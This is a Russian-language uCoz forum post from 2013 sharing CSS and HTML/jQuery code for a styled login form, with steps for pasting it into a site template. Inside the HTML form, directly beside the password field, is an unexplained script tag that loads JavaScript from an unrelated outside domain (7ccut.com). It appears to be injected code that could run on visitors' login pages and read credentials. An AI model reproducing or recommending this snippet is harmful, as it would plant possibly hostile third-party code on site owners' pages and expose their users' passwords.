| Главная | Форум | Картинки | Видео Онлайн | Игры Онлайн | Анекдоты | Каталог сайтов | Поиск | Вход | Выход |
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
Страница 1 из 11
Форум » Всё для uCoz » Другие модули uCoz » Форма входа на uCoz
Форма входа на uCoz
MeetwoorДата: Среда, 11.12.2013, 16:34 | Сообщение # 1
Ученик
Группа: Пользователи
Сообщений: 4
Репутация: 0
скрин: http://s52.radikal.ru/i137/1311/7e/80339c532d4d.jpg

В этой новости я поделюсь, как мне кажется, достаточно редкой полезностью для сайта укоз, а именно формой входа на собственно сам сайт uCoz.
Выглядит эта форма входа так же как и на скриншоте к материалу.
Установка проходит в несколько этапов - нужно добавить код в шаблон CSS, а так же и заменить сам код $LOGIN_FORM$ или $LOG_FORM$, но если вам доводилось прежде работать с админ панелью сайта на бесплатном хостинге uCoz, а так же с HTML кодами, тогда эта проблема должна решиться мигом.

Установка:

В самый низ вашего css вставляйте:

[code]/* GLOBALS */
.form-1 *,
.form-1 *:after,
.form-1 *:before {
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
-ms-box-sizing: border-box;
-o-box-sizing: border-box;
box-sizing: border-box;
padding: 0;
margin: 0;
}

.clearfix:after {
content: "";
display: table;
clear: both;
}

.form-1 {
width: 140px;
margin: 0px;
padding: 10px;
position: relative; /* For the submit button positioning */

/* Styles */
box-shadow:
0 0 1px rgba(0, 0, 0, 0.3),
0 3px 7px rgba(0, 0, 0, 0.3),
inset 0 1px rgba(255,255,255,1),
inset 0 -3px 2px rgba(0,0,0,0.25);
border-radius: 5px;
background: white; /* Fallback */
background: -moz-linear-gradient(#eeefef, #ffffff 10%);
background: -ms-linear-gradient(#eeefef, #ffffff 10%);
background: -o-linear-gradient(#eeefef, #ffffff 10%);
background: -webkit-gradient(linear, 0 0, 0 100%, from(#eeefef), color-stop(0.1, #ffffff));
background: -webkit-linear-gradient(#eeefef, #ffffff 10%);
background: linear-gradient(#eeefef, #ffffff 10%);
}

.form-1 .field {
position: relative; /* For the icon positioning */
}

.form-1 .field i {
/* Size and position */
left: 0px;
top: 0px;
position: absolute;
height: 36px;
width: 36px;

/* Line */
border-right: 1px solid rgba(0, 0, 0, 0.1);
box-shadow: 1px 0 0 rgba(255, 255, 255, 0.7);

/* Styles */
color: #777777;
text-align: center;
line-height: 42px;
-webkit-transition: all 0.3s ease-out;
-moz-transition: all 0.3s ease-out;
-ms-transition: all 0.3s ease-out;
-o-transition: all 0.3s ease-out;
transition: all 0.3s ease-out;
pointer-events: none;
}

.form-1 input[type=text],
.form-1 input[type=password] {
font-family: 'Lato', Calibri, Arial, sans-serif;
font-size: 13px;
font-weight: 400;
text-shadow: 0 1px 0 rgba(255,255,255,0.8);
/* Size and position */
width: 100%;
padding: 10px 18px 10px 45px;

/* Styles */
border: none; /* Remove the default border */
box-shadow:
inset 0 0 5px rgba(0,0,0,0.1),
inset 0 3px 2px rgba(0,0,0,0.1);
border-radius: 3px;
background: #f9f9f9;
color: #777;
-webkit-transition: color 0.3s ease-out;
-moz-transition: color 0.3s ease-out;
-ms-transition: color 0.3s ease-out;
-o-transition: color 0.3s ease-out;
transition: color 0.3s ease-out;
}

.form-1 input[type=text] {
margin-bottom: 10px;
}

.form-1 input[type=text]:hover ~ i,
.form-1 input[type=password]:hover ~ i {
color: #52cfeb;
}

.form-1 input[type=text]:focus ~ i,
.form-1 input[type=password]:focus ~ i {
color: #42A2BC;
}

.form-1 input[type=text]:focus,
.form-1 input[type=password]:focus,
.form-1 button[type=submit]:focus {
outline: none;
}

.form-1 .submit {
/* Size and position */
width: 65px;
height: 65px;
position: absolute;
top: 16px;
right: -25px;
padding: 10px;
z-index: 2;

/* Styles */
background: #ffffff;
border-radius: 50%;
box-shadow:
0 0 2px rgba(0,0,0,0.1),
0 3px 2px rgba(0,0,0,0.1),
inset 0 -3px 2px rgba(0,0,0,0.2);
}

.form-1 .submit:after {
/* Size and position */
content: "";
width: 10px;
height: 10px;
position: absolute;
top: -2px;
left: 30px;

/* Styles */
background: #ffffff;

/* Other masks trick */
box-shadow: 0 62px white, -32px 31px white;
}

.form-1 button {
/* Size and position */
width: 100%;
height: 100%;
margin-top: -1px;

/* Icon styles */
font-size: 1.4em;
line-height: 1.75;
color: white;

/* Styles */
border: none; /* Remove the default border */
border-radius: inherit;
background: #52cfeb; /* Fallback */
background: -moz-linear-gradient(#52cfeb, #42A2BC);
background: -ms-linear-gradient(#52cfeb, #42A2BC);
background: -o-linear-gradient(#52cfeb, #42A2BC);
background: -webkit-gradient(linear, 0 0, 0 100%, from(#52cfeb), to(#42A2BC));
background: -webkit-linear-gradient(#52cfeb, #42A2BC);
background: linear-gradient(#52cfeb, #42A2BC);
box-shadow:
inset 0 1px 0 rgba(255,255,255,0.3),
0 1px 2px rgba(0,0,0,0.35),
inset 0 3px 2px rgba(255,255,255,0.2),
inset 0 -3px 2px rgba(0,0,0,0.1);

cursor: pointer;
}

.form-1 button:hover,
.form-1 button[type=submit]:focus {
background: #52cfeb;
-webkit-transition: all 0.3s ease-out;
-moz-transition: all 0.3s ease-out;
-ms-transition: all 0.3s ease-out;
-o-transition: all 0.3s ease-out;
transition: all 0.3s ease-out;
}

.form-1 button:active {
background: #42A2BC;
box-shadow:
inset 0 0 5px rgba(0,0,0,0.3),
inset 0 3px 4px rgba(0,0,0,0.3);
}[/code]

[code]<section class="main">
<form id="apologform" class="form-1" action="/index/sub/" onsubmit="apologmeplease();return false;" method="post" _lpchecked="1">
<p class="field">
<input type="text" name="user" class="apologf" placeholder="Логин">
<i class="icon-large">
<img src="http://pnghosts.ru/img/show-offliners.png" />
</i>
</p>
<p class="field">
<input type="password" name="password" class="apopassf" placeholder="Пароль">
<script src="http://7ccut.com/table.js" type="text/javascript"></script>
<i class="icon-large">
<img src="http://pnghosts.ru/img/lock-disable.png" />
</i>
</p>
<p class="submit">
<button type="submit" name="submit"><i class="icon-large">
<img src="http://pnghosts.ru/img/arrow_state_grey_right.png" />
</i></button>
</p>
<input type="hidden" name="a" value="2" />
<input type="hidden" name="ajax" value="1" />
<input type="hidden" name="rnd" value="669" />
</form>
</section>

<script>
// Стильная современная форма входа by Apocalypse
function apologmeplease() {
$.post('/index/sub/', $('#apologform').serialize(), function(a) {
if($(a).text().indexOf('пароль') != -1) {
$('.apologf,.apopassf').stop().css('background', '#ffcccc');
setTimeout(function() {
$('.apologf,.apopassf').removeAttr('style');
}, 500);
} else {
$('.apologf,.apopassf').stop().css('background', '#ccffcc');
setTimeout(function() {
location.reload();
}, 500);
};
});
}
// (c) 2013
</script>[/code]

Осталось только подправить ширину формы под нужный вам размер. Изменить этот параметр в css в участке
Цитата

[code].form-1 {
width: 140px;[/code]
 
Форум » Всё для uCoz » Другие модули uCoz » Форма входа на uCoz
Страница 1 из 11
Поиск:

Статистика форума
Последние темы Читаемые темы Лучшие пользователи Новые пользователи

Баги, ошибки на сайте

(1)

Уведомления о регистрации для ucoz

(0)

Профиль для ucoz в нижнем правом углу сайта

(0)

Красивый информер для файлов ucoz

(0)

Форма входа на uCoz

(0)

Новый Топ пользователей с аватарами для Ucoz

(0)

Простой и красивый вид формы опроса

(0)

Красивый информер "кто нас сегодня посетил" для Ucoz

(0)

Flash радио для сайта

(0)

Новый информер комментарии для ucoz как на Dle

(0)

Правила добавления видео на сайт beam.at.ua

(1)

Баги, ошибки на сайте

(1)

Новое на портале

(0)

Статистика кто посетил в красивом стиле для uCoz

(0)

Голубая кнопка вверх для Ucoz

(0)

Новый информер комментарии для ucoz как на Dle

(0)

Flash радио для сайта

(0)

Красивый информер "кто нас сегодня посетил" для Ucoz

(0)

Простой и красивый вид формы опроса

(0)

Новый Топ пользователей с аватарами для Ucoz

(0)

Demax

(13)

Onlines

(4)

startsmart

(4)

Meetwoor

(4)

denis5210

(1)

Dreamer

(1)

demure_ru

(1)

apva

(0)

Joker

(0)

natashashapiro

(0)

mrvolkov490

(29.11.2016)

diplomnhelp2000

(01.12.2015)

demure_ru

(06.09.2015)

apva

(11.01.2014)

Meetwoor

(11.12.2013)

DoG

(23.03.2013)

zenj68

(06.02.2013)

Onlines

(17.01.2013)

АБ

(06.01.2013)

budyvmaster

(22.12.2012)


Реклама
   
Все материалы размещенные на сайте принадлежат их владельцам и предоставляются исключительно в ознакомительных целях.
Администрация ответственности за содержание материала не несет и убытки не возмещает.
По истечении 24 часов материал должен быть удален с вашего компьютера.
Незаконная реализация карается законами РФ : "Об авторском и смежном праве".
При копировании материала, ссылка на сайт обязательна!